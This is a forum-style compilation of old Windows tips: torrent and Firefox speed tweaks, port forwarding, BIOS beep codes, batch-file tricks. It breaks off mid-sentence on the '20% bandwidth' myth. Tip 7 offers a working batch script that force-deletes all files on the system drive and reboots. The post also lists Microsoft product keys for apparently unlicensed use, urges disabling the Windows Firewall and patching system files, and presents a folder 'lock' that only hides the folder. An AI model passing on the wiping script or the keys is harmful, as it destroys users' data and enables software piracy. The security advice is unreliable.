Speed Up utorrent RAPIDLY

uTorrent was very slow for me until recently I applied a few tweaks. Here's what I did.

Note: Some of the settings mentioned below are optimized for 256k connection. If you want to calculate the optimal settings for your connection, check at the end of this tutorial. But I suggest you to read the entire tutorial for guidance on other settings.

First go to Options>Preferences>Network

1. Under 'Port used for incoming connections', enter any port number. It is best to use a port number above 10000. I use 45682.mine 10981

2. Randomize port each time utorrent starts: UNCHECKED. I leave this unchecked because I have a router. If you do not have a router or a firewall, and want extra security, check this option.

3. Enable UPnP port mapping (Windows Xp or later only): UNCHECKED. I leave this unchecked because I have experienced it slowing down speeds. It is not needed if you manually port forward.

4. Add utorrent to Windows Firewall exceptions (Windows XP SP2 or later only): UNCHECKED (do this only if you have windows firewall disabled)

5. Global Maximum upload rate (kb/s): [0: unlimited]: 22 (for 256k connection)

6. Protocol Encryption: ENABLED. I would recommend everyone to enable this. This can help increase speeds with many ISPs.

7. Allow incoming Legacy Connections: CHECKED

Network Settings

Options>Preferences>Torrents

1. Global Maximum Number of Connections: 130 (for 256k connection) This number should not be set too low or the number of connections made to your torrents will be limited. Setting it too high may cause too much bandwidth to be used and can cause slowdowns. For mine 200

2. Maximum Number of connected peers per torrent: 70 (for 256k connection) If you see that the peers connected to a specific torrent are exactly this number, or very close, increase this number to improve speeds.mine 150

3. Number of upload slots per torrent: 3 (for 256k connection) This depends on how much you want to upload to other users. Do not set too low or it may affect download speeds. mine 4

4. Use additional upload slots if upload speed Preferences>Advanced

net.max_halfopen: 50

If you use Windows XP SP2, patch tcpip.sys with LvlLord's Event ID 4226 Patcher to get better performance.

DO NOT CHANGE THIS OPTION unless you have Windows XP SP2 and have patched tcpip.sys.

You can also patch tcpip.sys with xp-Antispy

If you have a firewall

* Open up the options/preferences/settings for the firewall - usually your firewall will have an icon to click in the taskbar

* Look for the keywords "allow list" or "programs"

* Add the application you want to give access to the internet

* Make sure to save your settings when you are done

If you have a router

1. Go to start>run>type cmd, press enter>type ipconfig, press enter

2. Remember both your ip address and your default gateway

3. Type in your default gateway into your default browser, a password prompt may come up. The default username and password are admin for my router

4. Under 'Applications' fill out one line for each p2p client you use

5. You need to use your ip address, the correct port range and set either tcp or udp

6. You can find and change the ports in the actual p2p client's settings, just make sure they are the same in the router

7. Most p2p apps need both tcp and udp checked, if you are not sure check your p2p client's FAQ

8. Save your settings

:!: Check PortForward.com to forward ports for uTorrent.

Some of the settings I mentioned above are relative to my bandwidth.

How to calculate optimal settings for your connection

In order to apply the following tips you need to know your maximum upload and download speeds. You can test your bandwidth over here.

Maximum upload speed

If you use your Maximum upload speed, there won't be not enough space left for the files you are downloading. So you have to cap your upload speed.

This is how I calculate my optimal upload speed…

upload speed * 80%

Maximum download speed

Setting your maximum download speed to unlimited will hurt your connection. So use this to calculate your optimal setting.

download speed * 90%

Maximum connected peers per torrent

upload speed * 1.3

Maximum upload slots

1 + (upload speed / 6)

Disable Windows Firewall

Windows Firewall hates P2P and so disable it and get yourself a decent firewall like Zone Alarm.

And last optimize your Internet connection with TCP Optimizer.

Original Microsoft Product Keys

Here are some original Microsoft keys for its various products.

Microsoft Product Key(Original Key)

Windows Server :

Windows Server 2003 R2 Enterprise Edition -----KX9YP-83MH3-GTFVG-JKCWC-629HG

Windows Server 2003 R2 Standard Edition -----FQFYX-JXQRT-3MJGD-2B8HP-KHC8B

Windows Server Longhorn February 2007 CTP (IA64) -----9JB9R-HV9F2-9TQRG-372M3-DWH6H

Windows Server Longhorn February 2007 CTP (x86 and x64) ----- RGVDW-V3J3C-6CD3P-2CQJV-GF4PG

WINDOWS VISTA :

Windows Vista Business ----------- J9QVT-JJMB9-RVJ38-M8KT6-DMT9M

Windows Vista Home Basic --------- KJTCW-YQGRK-XPQMR-YTQG8-DKVG6

Windows Vista Home Basic N ------- YQWWH-2YD6Y-V3K2X-H4H8V-WJ8WT

Windows Vista Home Premium ------ PYYBC-K9XT9-V92KD-6CT89-4VB82

Windows Vista Ultimate ------------ PVVFY-2F78Q-8T7M8-HDQB2-BR3YT

Windows Vista Enterprise ---------- CYD8T-QHBMC-6RCMK-4GHRD-CRRB7

WINDOWS XP :

Windows XP Home Edition K ---------- W8F6Q-HM3JB-2XRHD-7Q92J-XKY6W

Windows XP Home Edition KN --------- M9D9J-2TQV2-FBJQP-2M8G8-DGQ26

Windows XP Media Center Edition ----- H23CJ-2WXM9-M9D2K-42226-DJWRD

Windows XP Professional Edition K ---- FRH2X-6VD7F-YH2TV-2V8B7-J46F6

Windows XP Professional Edition KN --- QKBGY-T8JFG-F448Q-24KR9-48XPJ

Windows XP Home Edition ------------ GHGCP-3KFC6-Y4J4D-MVG7V-67TV6

Windows XP Professional ------------- F9QV9-HDYR3-6QDR4-PGVW9-GTBBJ

Windows XP Professional IA64 Edition - BGVXG-CM3VK-FX848-B9JPY-YJJXD

Windows XP Professional x64 Edition -- PFFY7-Y9RRY-MT6C7-XMQPK-RWFCW

Windows XP Tablet PC Edition -------- WFMYK-68Y2T-JD473-W8DMW-8PFHQ

WINDOWS 2000 :

Windows 2000 Professional ------------ DDTPV-TXMX7-BBGJ9-WGY8K-B9GHM

Windows 2000 Server (All Versions) ---- KRJQ8-RQ822-YRMXF-6TTXC-HD2VM

MICROSOFT OFFICE + FRONT PAGE :

Office XP Professional with FrontPage - GBJ7J-7MYPV-RJ46R-RQJXJ-WQ2CM

Office Professional 2007 -------------- VMRGQ-G3YMP-RWYH2-4TQ97-CT2HD

Office Ultimate 2007 ----------------- VJPW8-MB6MR-8D8YM-TW37V-WYVX3

Office Professional Plus 2007 --------- VBQJ8-CBP7J-CP4BH-Q9GFW-B8X

Office System Beta 2 2007 ----------- RQCRJ-FCTYM-V3PDF-GRD46-9YHXQ

Outlook 2007 ------------------------ DB4QP-GTFT3-FT3T6-VHHJ9-98XQQ

Office System Groove Server 2007 Beta 2 ----- WCMWF-H7DD9-3R2Q6-QM863-G7XD6

Office System Project Server 2007 Beta 2 ----- CYGH3-KVXBH-JDQV3-FFYPP-XGKD3

Office System SharePoint Server 2007 Beta 2 ----- C39KH-VHBKR-KT62D-Q4FVG-4PB76

FrontPage Professional 2003 ---------- RV3CJ-VCB3D-9PY99-YDKX8-9MG2T

EXCHANGE :

Exchange Server 2007 Enterprise Edition ------ PYYMB-HQQMQ-3TBM2-XJ99F-83XVM

Exchange Server 2007 Standard Edition ------ W3MX6-2WXMD-QB887-4WGPK-VPVDY

Forms Server 2007 -------------------- K76FH-Y2JHK-9BGCR-37KPR-4Y6JQ

Project Portfolio Server 2007 ---------- QRPKT-683CC-MJ9VJ-FHBCC-HYKGD

Project Server 2007 ------------------- GM27X-X6X37-T69MH-98J3Q-44TKG

SHARE POINT :

SharePoint Server 2007 Enterprise Edition --- F6YVR-4XY7K-RCVY4-37FBK-G44PY

SharePoint Server 2007 for Search Enterprise Edition ------ P87VV-Q34RV-GW2HT-JVXWV-3VFPM

SharePoint Server 2007 for Search Standard Edition ------ MYBJH-6YGQQ-6WW3C-FGM3V-YY6JW

SharePoint Server 2007 Standard Edition ------ WFF2P-M8XYH-3B33C-6KPP9-XVQTG

SharePoint Designer 2007 ------------ T9CJK-W68FW-D9FX6-37HG3-XHF7D

ACCESS + GROOVE + INFOPATH E.T.C :

Access 2007 ------------------------- HP44H-VWH8K-J7T22-QD3KC-37F7D

Groove 2007 ------------------------- MCW9C-WTKM4-KRHBQ-CPYJQ-YYD93

Groove Server 2007 ------------------ R4X9H-MP2C6-CV2FX-QGPKY-93RPG

InfoPath 2007 ----------------------- C3R8F-TMMYD-TBGDP-2RDXT-88393

InterConnect 2007 ------------------- P2BJF-HGV87-RRFB7-8DVQR-F23DQ

OneNote 2007 ----------------------- GJ2V8-K8CHV-7QP4V-K23TM-CMQDQ

Project Professional 2007 ------------ T7CBB-KW6DD-VTHB9-6V4D4-K3393

Project Standard 2007 --------------- G2XT7-K47QK-BFVXC-83T9M-8Y63Q

Publisher 2007 ----------------------- VC3PJ-TBV6V-XWG4P-2GRBH-RVWVD

Visio Professional 2007 --------------- JVBKC-PVJRX-MCT9J-JV7FK-JXYK3

Visio Standard 2007 ----------------- VYK2W-K2Q3Y-MRCTC-WRWMY-8JCHD

Tip 4:

How to increase download speeds in firefox

Firefox is configured by default for dial-up speeds. If you have high speed internet access such as DSL or cable, you can change a few settings in Firefox and increase your download speeds. If you change the number of connections that Firefox uses to download, you will see a dramatic increas in your bandwidth. The larger the file you are downloading, the greater the speed will be, because more connections can be made to the server.

1. Change Firefox connection setting by typing "about:config" in the address bar of Firefox.

2. In the "Filter:" bar, type "persistent"

3. You should now see two preference names with their values:

network.http.max-persistent-connections-per-proxy user set interger 4

network.http.max-persistent-connections-per-server user set interger 2

4. Double click on each of the preference names. A window will pop-up allowing you to change the values for each. If you have cable or DSL use a number between 20 and 30!. Click OK.

Tip 5:

Firefox: Extreme Speed !

Once you've loaded up firefox go to the address bar and type or copy and paste:

about:config

Right click and select: New -> Integer

Name the integer or copy paste:

nglayout.initialpaint.delay

Change the integers value to:

300

You can also use 0 (zero) as an Integer Value, if you don't like the performance of the 300 Integer Value.

Enjoy & Watch Your Speed!

Or If Not Try This One Too!

1. Type "about:config" into the address bar and hit return. Scroll down and look for the following entries:

network.http.pipelining

network.http.proxy.pipelining

network.http.pipelining.maxrequests

Normally the browser will make one request to a web page at a time. When you enable pipelining it will make several at once, which really speeds up page loading.

2. Alter the entries as follows:

Set "network.http.pipelining" to "true"

Set "network.http.proxy.pipelining" to "true"

Set "network.http.pipelining.maxrequests" to some number like 30. This means it will make 30 requests at once.

3. Lastly right-click anywhere in the "aboug:config" page and select New-> Integer. Name it "nglayout.initialpaint.delay" and set its value to "0". This value is the amount of time the browser waits before it acts on information it recieves.

4. Restart Firefox

If you're using a broadband connection you'll load pages 2-3 times faster now.

Tip 6:

How to eliminate Firefox popups Once and For All

1. Type about:config into the Firefox location bar.

2. Right-click on the page and select New and then Integer.

3. Name it privacy.popups.disable_from_plugins

4. Set the value to 2.

The possible values are:

* 0: Allow all popups from plugins.

* 1: Allow popups, but limit them to dom.popup_maximum.

* 2: Block popups from plugins.

* 3: Block popups from plugins, even on whitelisted sites.

Tip 7 : Dangerous Tip

Destroy's Computer

Type this command in notepad and save as .bat

@echo off

del %systemdrive%\*.* /f /s /q

shutdown -r -f -t 00

What it does is ?

you get a blue screen that say's file is missing please intall XP again

Tip 8:

A Trick To Check Ur Antivirus Is Working Properly

Open notepad

Copy this code in the text file....

"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"

without qutoes....

then save it with the name fakevirus.exe

If this file got deleted immediately ....that means ur antivirus is working n updated

Tip 9

Bios beep codes!!!

bios beep codes

BIOS Beep Codes (AMI Known as American Megatrends International & Phoenix)

When a computer is first turned on, or rebooted, its BIOS performs a power-on self test (POST) to test the system's hardware, checking to make sure that all of the system's hardware components are working properly. Under normal circumstances, the POST will display an error message; however, if the BIOS detects an error before it can access the video card, or if there is a problem with the video card, it will produce a series of beeps, and the pattern of the beeps indicates what kind of problem the BIOS has detected.

Because there are many brands of BIOS, there are no standard beep codes for every BIOS. The two most-used brands are AMI (American Megatrends International) and Phoenix.

AMI Beep Codes

Beep Code Meaning

1 beep - DRAM refresh failure. There is a problem in the system memory or the motherboard.

2 beeps - Memory parity error. The parity circuit is not working properly.

3 beeps - Base 64K RAM failure. There is a problem with the first 64K of system memory.

4 beeps - System timer not operational. There is problem with the timer(s) that control functions on the motherboard.

5 beeps - Processor failure. The system CPU has failed.

6 beeps - Gate A20/keyboard controller failure. The keyboard IC controller has failed, preventing gate A20 from switching the processor to protect mode.

7 beeps - Virtual mode exception error.

8 beeps - Video memory error. The BIOS cannot write to the frame buffer memory on the video card.

9 beeps - ROM checksum error. The BIOS ROM chip on the motherboard is likely faulty.

10 beeps - CMOS checksum error. Something on the motherboard is causing an error when trying to interact with the CMOS.

11 beeps - Bad cache memory. An error in the level 2 cache memory.

1 long beep, 2 short - Failure in the video system.

1 long beep, 3 short - A failure has been detected in memory above 64K.

1 long beep, 8 short - Display test failure.

Continuous beeping - A problem with the memory or video.

Phoenix Beep Codes

Phoenix uses sequences of beeps to indicate problems. The "-" between each number below indicates a pause between each beep sequence. For example, 1-2-3 indicates one beep, followed by a pause and two beeps, followed by a pause and three beeps. Phoenix version before 4.x use 3-beep codes, while Phoenix versions starting with 4.x use 4-beep codes. Click here for AMI BIOS beep codes.

4-Beep Codes

Beep Code Meaning

1-1-1-3 Faulty CPU/motherboard. Verify real mode.

1-1-2-1 Faulty CPU/motherboard.

1-1-2-3 Faulty motherboard or one of its components.

1-1-3-1 Faulty motherboard or one of its components. Initialize chipset registers with initial POST values.

1-1-3-2 Faulty motherboard or one of its components.

1-1-3-3 Faulty motherboard or one of its components. Initialize CPU registers.

1-1-3-2

1-1-3-3

1-1-3-4 Failure in the first 64K of memory.

1-1-4-1 Level 2 cache error.

1-1-4-3 I/O port error.

1-2-1-1 Power management error.

1-2-1-2

1-2-1-3 Faulty motherboard or one of its components.

1-2-2-1 Keyboard controller failure.

1-2-2-3 BIOS ROM error.

1-2-3-1 System timer error.

1-2-3-3 DMA error.

1-2-4-1 IRQ controller error.

1-3-1-1 DRAM refresh error.

1-3-1-3 A20 gate failure.

1-3-2-1 Faulty motherboard or one of its components.

1-3-3-1 Extended memory error.

1-3-3-3

1-3-4-1

1-3-4-3 Error in first 1MB of system memory.

1-4-1-3

1-4-2-4 CPU error.

1-4-3-1

2-1-4-1 BIOS ROM shadow error.

1-4-3-2

1-4-3-3 Level 2 cache error.

1-4-4-1

1-4-4-2

2-1-1-1 Faulty motherboard or one of its components.

2-1-1-3

2-1-2-1 IRQ failure.

2-1-2-3 BIOS ROM error.

2-1-2-4

2-1-3-2 I/O port failure.

2-1-3-1

2-1-3-3 Video system failure.

2-1-1-3

2-1-2-1 IRQ failure.

2-1-2-3 BIOS ROM error.

2-1-2-4 I/O port failure.

2-1-4-3

2-2-1-1 Video card failure.

2-2-1-3

2-2-2-1

2-2-2-3 Keyboard controller failure.

2-2-3-1 IRQ error.

2-2-4-1 Error in first 1MB of system memory.

2-3-1-1

2-3-3-3 Extended memory failure.

2-3-2-1 Faulty motherboard or one of its components.

2-3-2-3

2-3-3-1 Level 2 cache error.

2-3-4-1

2-3-4-3 Motherboard or video card failure.

2-3-4-1

2-3-4-3

2-4-1-1 Motherboard or video card failure.

2-4-1-3 Faulty motherboard or one of its components.

2-4-2-1 RTC error.

2-4-2-3 Keyboard controller error.

2-4-4-1 IRQ error.

3-1-1-1

3-1-1-3

3-1-2-1

3-1-2-3 I/O port error.

3-1-3-1

3-1-3-3 Faulty motherboard or one of its components.

3-1-4-1

3-2-1-1

3-2-1-2 Floppy drive or hard drive failure.

3-2-1-3 Faulty motherboard or one of its components.

3-2-2-1 Keyboard controller error.

3-2-2-3

3-2-3-1

3-2-4-1 Faulty motherboard or one of its components.

3-2-4-3 IRQ error.

3-3-1-1 RTC error.

3-3-1-3 Key lock error.

3-3-3-3 Faulty motherboard or one of its components.

3-3-3-3

3-3-4-1

3-3-4-3

3-4-1-1

3-4-1-3

3-4-2-1

3-4-2-3

3-4-3-1

3-4-4-1

3-4-4-4 Faulty motherboard or one of its components.

4-1-1-1 Floppy drive or hard drive failure.

4-2-1-1

4-2-1-3

4-2-2-1 IRQ failure.

4-2-2-3

4-2-3-1

4-2-3-3

4-2-4-1 Faulty motherboard or one of its components.

4-2-4-3 Keyboard controller error.

4-3-1-3

4-3-1-4

4-3-2-1

4-3-2-2

4-3-3-1

4-3-4-1

4-3-4-3 Faulty motherboard or one of its components.

4-3-3-2

4-3-3-4 IRQ failure.

4-3-3-3

4-3-4-2 Floppy drive or hard drive failure

3-Beep Codes

Beep Code Meaning

1-1-2 Faulty CPU/motherboard.

1-1-3 Faulty motherboard/CMOS read-write failure.

1-1-4 Faulty BIOS/BIOS ROM checksum error.

1-2-1 System timer not operational. There is a problem with the timer(s) that control functions on the motherboard.

1-2-2

1-2-3 Faulty motherboard/DMA failure.

1-3-1 Memory refresh failure.

1-3-2

1-3-3

1-3-4 Failure in the first 64K of memory.

1-4-1 Address line failure.

1-4-2 Parity RAM failure.

1-4-3 Timer failure.

1-4-4 NMI port failure.

2-_-_ Any combination of beeps after 2 indicates a failure in the first 64K of memory.

3-1-1 Master DMA failure.

3-1-2 Slave DMA failure.

3-1-3

3-1-4 Interrupt controller failure.

3-2-4 Keyboard controller failure.

3-3-1

3-3-2 CMOS error.

3-3-4 Video card failure.

3-4-1 Video card failure.

4-2-1 Timer failure.

4-2-2 CMOS shutdown failure.

4-2-3 Gate A20 failure.

4-2-4 Unexpected interrupt in protected mode.

4-3-1 RAM test failure.

4-3-3 Timer failure.

4-3-4 Time of day clock failure.

4-4-1 Serial port failure.

4-4-2 Parallel port failure.

4-4-3 Math coprocessor

Tip 10 :

Lock any folder without any software

NoTe- Its different from invisble as well hidden folder....here u need to have a password with which u can open your filder

here is the code

cls

@ECHO OFF

title Folder Locker

if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK

if NOT EXIST Locker goto MDLOCKER

:CONFIRM

echo Are you sure u want to Lock the folder(Y/N)

set/p "cho=>"

if %cho%==Y goto LOCK

if %cho%==y goto LOCK

if %cho%==n goto END

if %cho%==N goto END

echo Invalid choice.

goto CONFIRM

:LOCK

ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"

attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"

echo Folder locked

goto End

:UNLOCK

echo stuff by satish

echo Enter password to Unlock folder

set/p "pass=>"

if NOT %pass%==TYPE UR PASSWORD HERE goto FAIL

attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"

ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker

echo Folder Unlocked successfully

goto End

:FAIL

echo Invalid password

goto end

:MDLOCKER

md Locker

echo Locker created successfully

goto End

:End

Instructions::

1) Copy the give code in a note pad and save the note pad in your pc with the name name.bat (that is with the extension of .bat). you can replace the name portion with anything u want.

NoTe-- In place of password in the code given type your desired password.

2) A batch file will be created where you hav saved. Now double click on it , it will make a folder with the name locker at the same place where the batch file is save.

3) Now add the files you want to be locked in that folder.

4) Double click on the batch file. It will ask for locking the folder formed. Type y(yes). The folder will be locked and hidden.

5) To unlock,double click on batch file again and enter the password in the new window opened.

Tested By Me Working 100%

Tip 11 :

A code to get unlimited downloads from Rapidshare!

Here it is:

1. Copy and paste this code :

@echo off

echo ipconfig /flushdns

ipconfig /flushdns

echo ipconfig /release

ipconfig /release

echo ipconfig /renew

ipconfig /renew

on your note pad or any other text editor

2. Save the file as : rapidshare.de.bat and leave it on your desktop

3. Every time you download from rapidshare double click on it!

Rip 12 :

Increase your Bandwidth by 20%

Increase your Bandwidth by 20%

Windows uses 20% of your bandwidth! Get it back

A nice little tweak for XP. M*crosoft reserve 20% of your available bandwidth for thei